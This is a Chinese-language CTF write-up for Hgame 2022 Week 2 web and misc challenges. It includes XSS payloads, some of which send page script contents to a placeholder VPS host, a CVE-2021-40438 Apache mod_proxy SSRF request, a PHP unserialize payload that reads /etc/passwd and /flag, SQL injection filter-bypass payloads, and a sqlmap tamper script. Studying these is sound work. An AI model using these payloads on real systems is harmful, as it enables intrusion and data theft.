引言
喵呜，这篇是 Hgame Week2 的 WriteUp 啦！
啊你没看错，其实就没咋看题，大部分还是第一周结束第二周刚开始的那几天做的，后面就咕了（
第一周的详见 CTF | 2022 Hgame Week1 WriteUp。
Web
webpack-engine
Description
webpack packs the web.
（请使用 Chrome 浏览器打开）Challenge Address
经典 webpack 打包，浏览器请求 source map 解包就能看到源码了。
export default {
data() {
return {
filiiililil4g: 'YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo='
}
}
}二次base64
hgame{[emailprotected]}
（不懂为啥 FireFox 就看不到
At0m的留言板
Description
留言站被日了之后At0m去认真学了下Web安全，这回就算是大茄子来了也别想轻易日开。
https://at0m-hgame-wall0-1308188104.cos.ap-singapore.myqcloud.com/template.html
抢先试用At0m的留言板请加微信公众号：宅男的天台Challenge Address
经典 XSS。给公众号发消息会把内容渲染到 content 这个 span 里。
带有 script 貌似会拦，不懂为啥 window.flag 或者 flag 读不到东西，最后直接读 document.scripts 算了。
Payload:
</span><img src=1 onerror="document.getElementsByClassName('content')[0].textContent+=document.scripts[0].text;">
hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}
好耶，一血！
另外也可以外带，VPS 上起个 nc 啥的都行
</span><img src=1 onerror="window.location='//VPSIP:PORT/'+document.scripts[0].text;">除夕红包
除夕晚上以这道题为基础放了个支付宝红包，发现是在 scripts[1] 有段亿点点长的 jsfuck，所以原来的做法是 非预期了 看来2333
（以及后面在榜单上的 id 后面还获得了一个 发现非预期 的 tag，好耶
（虽然 OCR 貌似也不是不行
后来想想还是外带吧，最好再 base64 编码一下
</span><img src=1 onerror="window.location='//VPSIP:PORT/'+btoa(document.scripts[1].text);">
解码出来是
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undefined
最后发现前面这段是 eval，后面定义了个函数
其实就是定义了个变量（
var r3d_CodE = "h2g0a2m2e"可惜被抢完了，可恶！！！ 没事啦，虎年快乐啦~
然后在想，预期解是不是读取环境里定义的变量列表然后去读变量呢？
Apache!
Description
Ooops,Summ3r 的机器被大黑阔打穿了！不过还好 Summ3r 有备份的习惯，把 flag 备份在了内网的某台机器上面，嘿嘿嘿。。。
Challenge Address
/www.zip 源码
docker-compose.yml
version: "3.8"
services:
apache:
image: httpd:2.4.48-alpine
volumes:
- ./static:/usr/local/apache2/htdocs
- ./httpd.conf:/usr/local/apache2/conf/httpd.conf
- ./httpd-vhosts.conf:/usr/local/apache2/conf/extra/httpd-vhosts.conf
links:
- internal.host
depends_on:
- internal.host
ports:
- 60010:80
nginx:
image: nginx:alpine
container_name: internal.host
volumes:
- ./default.conf:/etc/nginx/conf.d/default.confdefault.conf
server {
listen 80;
server_name localhost;
#access_log /var/log/nginx/host.access.log main;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location = /flag {
return 200 "hgame{xxx}";
}
# proxy the PHP scripts to Apache listening on 127.0.0.1:80
#
#location ~ \.php$ {
# proxy_pass http://127.0.0.1;
#}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
#location ~ \.php$ {
# root html;
# fastcgi_pass 127.0.0.1:9000;
# fastcgi_index index.php;
# fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
# include fastcgi_params;
#}
# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
#
#location ~ /\.ht {
# deny all;
#}
}httpd-vhosts.conf
<VirtualHost *:80>
ServerAdmin [emailprotected]
DocumentRoot "/usr/local/apache2/htdocs"
ServerName dummy-host.example.com
ServerAlias www.dummy-host.example.com
ErrorLog "logs/dummy-host.example.com-error_log"
CustomLog "logs/dummy-host.example.com-access_log" common
<Location /proxy>
ProxyPass https://www.google.com
</Location>
</VirtualHost>请求是从 Apache/2.4.48 (Unix) 进来的，内网有个 nginx，flag在他的 /flag 路由下。
直接访问的话，会提示访问内网那个。
搜一搜 Apache/2.4.48 有啥洞，其实最开始想到的是那个 .%2e 目录穿越的洞，不过是在 2.4.49 - 2.4.50
https://httpd.apache.org/security/vulnerabilities_24.html
看起来是和 mod_proxy 有关的
再到 GitHub 搜搜 PoC
CVE-2021-40438 exploit PoC with Docker setup
请求 uri-path 可以导致 mod_proxy 将请求转发到远程用户选择的源服务器。此问题会影响 Apache HTTP Server 2.4.48 及更早版本。
攻击者可以通过制作请求来利用此漏洞uri路径，这导致 mod_proxy将请求转发到攻击者选择的源服务器。Apache HTTP Server的mod_proxy组件旨在为 Apache HTTP Server 实现代理/网关功能。
Apache <= 2.4.48 - Mod_Proxy SSRF
proxy 用的是 /proxy 路由，所以最终 payload:
GET /proxy?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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HTTP/1.1
Host: httpd.summ3r.top
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
hgame{[emailprotected]~u_r3prOduced_CVE-2021-40438}
一本单词书
Description
为了顺利通过六级，Summ3r用世界上最好的语言写了个单词书，嘿嘿嘿
Challenge Address
/www.zip 源码
login.php
<?php
session_start();
function alert($msg): string {
return "<script>alert('".$msg."')</script>";
}
function randomString($length): string {
srand(time());
$s = "";
for ($i=0; $i<$length; $i++) {
$s .= chr(random_int(32, 127));
}
return $s;
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (!isset($_POST['username']) || !isset($_POST['password'])) {
return;
}
if ($_POST['username'] != 'adm1n') {
die(alert('username or password is invalid'));
}
if (is_numeric($_POST['password'])) {
die(alert('密码不能设置为纯数字，我妈都知道(￣△￣；)'));
} else {
if ($_POST['password'] == 1080) {
$_SESSION['username'] = 'admin';
$_SESSION['unique_key'] = md5(randomString(8));
header('Location: index.php');
} else {
die(alert('这你都能输错？'));
}
}
}
?>
<html>
<head>
<meta charset="utf-8">
<link href="static/login.css" rel="stylesheet">
</head>
<body>
<form action="login.php" method="POST">
<div class="form-item">
<label for="username">USERNAME</label>
<input type="text" name="username" id="username">
</div>
<div class="form-item">
<label for="password">PASSWORD</label>
<input type="password" name="password">
</div>
<div class="form-item">
<button type="submit">LOGIN</button>
</div>
</form>
</body>
<!-- hint: /www.zip -->
</html>
<?php
?>用户名密码弱比较绕过就行
adm1n / 1080a 登录
save.php
<?php
session_start();
include 'admin_check.php';
function encode($data): string {
$result = '';
foreach ($data as $k => $v) {
$result .= $k . '|' . serialize($v);
}
return $result;
}
function saveSessionData() {
$filename = "/tmp/".$_SESSION['unique_key'].'.session';
$data = json_decode(file_get_contents("php://input"));
$str = encode($data);
file_put_contents($filename, $str, FILE_APPEND);
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
saveSessionData();
} else {
echo 'method not allowed';
}get.php
<?php
session_start();
include 'admin_check.php';
include 'evil.php';
// flag is in /flag
function decode(string $data): Array {
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length) {
if (!strstr(substr($data, $offset), '|')) {
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}
return $result;
}
function loadSessionData(): Array {
$filename = '/tmp/'.$_SESSION['unique_key'].'.session';
if (file_exists($filename)) {
$str = file_get_contents($filename);
return decode($str);
} else {
file_put_contents($filename, '');
return [];
}
}
echo json_encode(loadSessionData());evil.php
<?php
class Evil {
public $file;
public $flag;
public function __wakeup() {
$content = file_get_contents($this->file);
if (preg_match("/hgame/", $content)) {
$this->flag = 'hacker!';
}
$this->flag = $content;
}
}由于 $varname 的长度是到第一个出现的 | 开始计算的，就可以在 save 的时候把 key 中加入 |，解析的时候就会把后面的内容丢去反序列化了。
例如读个 /etc/passwd，payload:
2|O:4:"Evil":2:{s:4:"file";s:11:"/etc/passwd";s:4:"flag";N;}
1
本地调试的话可以看看 session
最后的话还要让输出得到的结果不包含 hgame，这个简单，拿 php 伪协议 base64 编码一下就完事了。
生成 payload 的脚本：
<?php
class Evil
{
public $file;
public $flag;
public function __construct()
{
// $this->file = "/etc/passwd";
$this->file = "php://filter/read=convert.base64-encode/resource=/flag";
}
}
echo serialize(new Evil());Payload:
miaotony|O:4:"Evil":2:{s:4:"file";s:54:"php://filter/read=convert.base64-encode/resource=/flag";s:4:"flag";N;}
233
hgame{[emailprotected][emailprotected]!Is~h0rr1b1e-!n_PhP}
Pokemon
Description
选择你的宝可梦吧，召唤师！
Challenge Address
试了试这个注入，发现没有。
那遍历跑跑，嗯，除了1-3其他都是 Location: error.php?code=404
那要是加个 ' 呢？
很好，有数据库，报错啦！
发现会把 or and /**/ select union from where 这些给替换为空，双写可以绕过。结尾用 #(%23) 可以。
- + 空格 会替换为空
" => "（urlencode），<> 类似
GET /error.php?code=403/*/**/*/anAndd/*/**/*/sleep(3)%23成功 sleep
然后 union select 读信息
payload:
GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,database()%23
===> database: pokemon
GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,group_concat(table_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/database()%23
===> 表名 errors,fllllllllaaaaaag
GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,group_concat(column_name)/*/**/*/frfromom/*/**/*/infoorrmation_schema.columns/*/**/*/whewherere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'%23
===> 列名 flag
GET /error.php?code=404/*/**/*/UNIunionON/*/**/*/ALL/*/**/*/SELselectECT/*/**/*/NULL,flag/*/**/*/frofromm/*/**/*/fllllllllaaaaaag%23
hgame{[emailprotected]#Y0u$4r3_sq1_M4ST3R^}
顺便试了试 sqlmap，需要写个 tamper，放在 /usr/share/sqlmap/tamper 目录下 doublewords.py
#!/usr/bin/env python
'''
sqlmap 双写绕过
Modified by MiaoTony
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('union' , 'uniunionon')
payload= payload.replace('select' , 'selselectect')
payload= payload.replace('from' , 'frfromom')
payload= payload.replace('where' , 'whewherere ')
payload= payload.replace('or' , 'oorr')
payload= payload.replace('=' , ' like ')
payload= payload.replace(' ' , '/*/**/*/')
payload= payload.replace('and' , 'anandd')
retVal=payload
return retVal
需要替换的是试出来的（
sqlmap -u "http://121.43.141.153:60056/error.php?code=404" --random-agent --tamper=doublewords -D pokemon --dump
顺便记录一下 手工 SQL 注入的经典 payload。
order by --+ 判断字段数目 union select --+ 联合查询收集信息 id=1' and 1=2 UNION SELECT 1,2,database() --+ 查询当前数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+查询所有数据库 id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名 id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名 id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ 查询字段值via 国光师傅的 MySQL 手工注入之基本步骤
有点亏，没抢到一血，二血也好啦 2333。
Misc
一张怪怪的名片
Description
鸿师傅给女友送了个 flag ，但是现场只有一个奇怪的名片。
PS：鸿师傅不喜欢百度Challenge Address
开局拼二维码，好烦这种题啊！！！
然后再折腾折腾，发现还是扫不了，坏坏坏！！！
不行还是上 qrazybox 吧
上面这图可以直接导入进去，然后解析一下
大概可以知道是个网址，但是猜了猜不大对。
于是搜了搜 homeboyc
https://homeboyc.cn/friendlinks/ 发现了友链 https://homeginan.homeboyc.cn/
噢，其实不如直接看图片里的 鸿贵安 搜一下……
是社工题啊……
宝，想你，呜呜。宝，下面的fl4g的密码你应该知道的，我就不说了嘎嘎。
对了，宝，你可以用这个网站解密 CyberChef 。
我先用“Derive PBKDF2 key”把密码转成了key（salt=1），然后交给AES加密模块用ECB模式加密了（别忘了base64）。
The following text is the ciphertext of fl4g after AES-128 encryption.
b09nyMj9cOZ3aB8KUcnh46nIi9fGTIL6XjnnW1/sj/nUR1BFYkf0JwB0qjcQhcCy7dxtsHqznOMkt6XEGKD8y5K5whenAcwuiT/Rue+snORVWAorXsB3ZGcITuFLEIThbx4/vh5E/Wk4R8qhNcFh5bwSSmwdULVuwBrJ5H3+kBOsYafEqP8RDX3sOdXTj80V8Puq+TNbXAMhxvdLGkkcBQ==
生日这篇可以推出来生日是 20020816
结合弱密码，包含了名字 hga，结合比赛名称，盲猜密码是 hgame20020816
于是先拿 Derive PBKDF2 key 得到 key 为 5728e1fb6ee26419b7a48a0cab579e74
然后 AES 解密一下完事
hgame{Wh0_4m_1?I_like_S0ciaI_En9in33ring}
小结
过年啦，还是好好享受生活好！
其他的题后面就没怎么看了，摸啦（跑
后面两周的话忙别的去了，也没怎么看题，唔（
（怎么这篇放草稿箱里都长草了 啊，不管了直接发出来吧
（溜了溜了喵~